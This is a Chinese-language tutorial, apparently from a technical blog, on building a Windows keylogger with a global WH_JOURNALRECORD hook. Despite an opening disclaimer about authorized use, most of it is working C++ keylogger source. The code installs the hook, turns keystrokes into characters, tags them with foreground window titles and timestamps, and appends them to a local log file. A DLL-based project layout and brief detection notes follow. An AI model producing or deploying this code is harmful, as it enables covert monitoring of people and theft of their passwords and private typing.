本文僅供安全研究、系統程式設計教學、授權滲透測試及防禦技術開發參考。 鍵盤記錄器屬敏感技術,**嚴禁**用於未經授權的監控、竊取帳號密碼、監視他人隱私等非法用途。開發類似功能時,必須遵守當地法律法規,取得被監控方明確書面同意,並提供明顯的啟用/停用介面與資料加密保護。
WH_JOURNALRECORD 是「日誌記錄」類 Hook,原設計用於錄製使用者輸入序列 (巨集錄製)。特性:
EVENTMSG 結構,包含訊息類型、參數、時間戳、座標。HC_ACTION 通知碼表示事件即將被處理,回呼可修改/記錄/攔截。WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN 等。GetActiveWindow/GetForegroundWindow。
HHOOK g_hJournalHook = NULL; // Hook 句柄
HWND g_hLastFocus = NULL; // 上一個焦點視窗
const DWORD KEY_PRESSED_MASK = 0x80000000; // GetKeyState 高位元組 = 按下狀態
void __fastcall TfrmLogHook::btnInstallClick(TObject *Sender) {
if (!g_hJournalHook)
g_hJournalHook = SetWindowsHookEx(WH_JOURNALRECORD, (HOOKPROC)JournalLogProc, HInstance, 0);
}
void __fastcall TfrmLogHook::btnUninstallClick(TObject *Sender) {
if (g_hJournalHook) {
UnhookWindowsHookEx(g_hJournalHook);
g_hJournalHook = NULL;
}
}
HOOKPROC JournalLogProc(int iCode, WPARAM wParam, LPARAM lParam) {
if (iCode < 0) return CallNextHookEx(g_hJournalHook, iCode, wParam, lParam);
if (iCode != HC_ACTION) return CallNextHookEx(g_hJournalHook, iCode, wParam, lParam);
EVENTMSG* pEvt = (EVENTMSG*)lParam;
if (pEvt->message != WM_KEYDOWN) return CallNextHookEx(g_hJournalHook, iCode, wParam, lParam);
// --- 焦點視窗變更偵測 ---
HWND hFocus = GetActiveWindow(); // 或 GetForegroundWindow()
if (hFocus != g_hLastFocus) {
g_hLastFocus = hFocus;
char szTitle[256] = {0}, szTime[64];
GetWindowText(hFocus, szTitle, 255);
strcpy(szTime, DateTimeToStr(Now()).c_str()); // VCL 輔助
LogToFile("\n%s %s", szTime, szTitle); // 換行 + 時間 + 視窗標題
}
// --- 虛擬鍵碼解析與字元轉換 ---
int vKey = LOBYTE(pEvt->paramL); // 虛擬鍵碼
BYTE keyState[256];
GetKeyboardState(keyState); // 取得當前鍵盤狀態 (Shift, CapsLock, NumLock...)
// 以 ToAscii/ToUnicode 轉換為實際字元 (自動處理 Shift/CapsLock/死鍵)
WORD ch = 0;
ToAscii(vKey, HIBYTE(pEvt->paramH), keyState, &ch, 0);
if (ch) {
char c = (char)ch;
// 過濾控制字元或特殊處理
if (c >= 32 && c <= 126) LogToFile("%c", c); // 可列印字元
else LogSpecialKey(vKey); // 處理 Enter, Tab, Backspace, F1-F12, 方向鍵...
}
return CallNextHookEx(g_hJournalHook, iCode, wParam, lParam);
}
// 寫入日誌檔 (簡易版,實務建議非同步/緩衝/加密)
void LogToFile(const char* fmt, ...) {
FILE* f = fopen("C:\\Logs\\keylog.txt", "a+");
if (!f) return;
va_list ap; va_start(ap, fmt); vfprintf(f, fmt, ap); va_end(ap);
fclose(f);
}
// 特殊鍵名稱對照
void LogSpecialKey(int vKey) {
static const struct { int vk; const char* name; } map[] = {
{VK_BACK, "[BK]"}, {VK_TAB, "[TAB]"}, {VK_RETURN, "[EN]"}, {VK_ESCAPE, "[ESC]"},
{VK_SPACE, "[SP]"}, {VK_PRIOR, "[PU]"}, {VK_NEXT, "[PD]"}, {VK_END, "[END]"},
{VK_HOME, "[HOME]"}, {VK_LEFT, "[LF]"}, {VK_UP, "[UF]"}, {VK_RIGHT, "[RF]"},
{VK_DOWN, "[DF]"}, {VK_INSERT, "[INS]"}, {VK_DELETE, "[DEL]"},
{VK_F1, "[F1]"}, {VK_F2, "[F2]"}, {VK_F3, "[F3]"}, {VK_F4, "[F4]"},
{VK_F5, "[F5]"}, {VK_F6, "[F6]"}, {VK_F7, "[F7]"}, {VK_F8, "[F8]"},
{VK_F9, "[F9]"}, {VK_F10, "[F10]"}, {VK_F11, "[F11]"}, {VK_F12, "[F12]"},
};
for (auto& m : map) if (m.vk == vKey) { LogToFile("%s", m.name); return; }
// 數字鍵盤、符號鍵等可擴充...
}
| API | 輸出 | 適用場景 |
|---|---|---|
| ToAscii | ANSI 字元 (WORD) | 舊版 ANSI 專案、簡單場景 |
| ToUnicode | Unicode (WCHAR),支援補充平面、死鍵組合 | **現代專案首選**,正確處理多語言、IME 組合字 |
現代程式**強烈建議使用 ToUnicode** 配合 GetKeyboardState,自動處理 Shift、CapsLock、NumLock、AltGr、死鍵 (如 ` ́` + `a` = `á`) 等複雜鍵盤狀態。
GetActiveWindow:傳回**呼叫執行緒**所屬進程的作用中視窗。Hook 回呼在**目標進程**執行,故能正確取得該進程的作用中視窗。GetForegroundWindow:傳回系統全域前景視窗 (使用者正在互動的視窗)。跨進程一致。SetWinEventHook(EVENT_SYSTEM_FOREGROUND) 監控前景變更,更可靠。WriteFile + FILE_FLAG_WRITE_THROUGH 直接寫入,避免 C Runtime 鎖競爭。SetWindowsHookEx、WH_JOURNALRECORD、WH_KEYBOARD_LL 安裝行為。NtSetInformationThread(ThreadHideFromDebugger)、CreateRemoteThread、DLL 注入特徵。SetWindowsHookEx 監控驅動、鍵盤輸入完整性驗證、虛擬鍵盤 (OSK) 繞過 Hook。KeyLoggerEdu/ ├── HookDll/ # DLL 專案 │ ├── HookDll.cpp # JournalLogProc, Install/Uninstall, 共享記憶體緩衝區 │ └── HookDll.def ├── LoggerApp/ # 主程式 (VCL/Console) │ ├── Main.cpp # UI、安裝 Hook、讀取共享緩衝區、非同步寫檔、加密 │ └── Crypto.cpp # AES-GCM 加密/解密日誌 └── Shared/ # 共用標頭: 結構定義、環狀緩衝區、常數
ES_PASSWORD 樣式視窗並遮罩)。WH_JOURNALRECORD 提供了系統級鍵盤/滑鼠事件錄製能力,配合 ToUnicode、焦點追蹤、非同步日誌架構,可構建功能完整的記錄器。但**技術中立,用途決定性質**。作為開發者,必須嚴守法律紅線與道德底線,將此技術應用於合法授權、透明可控的防禦與管理場景中。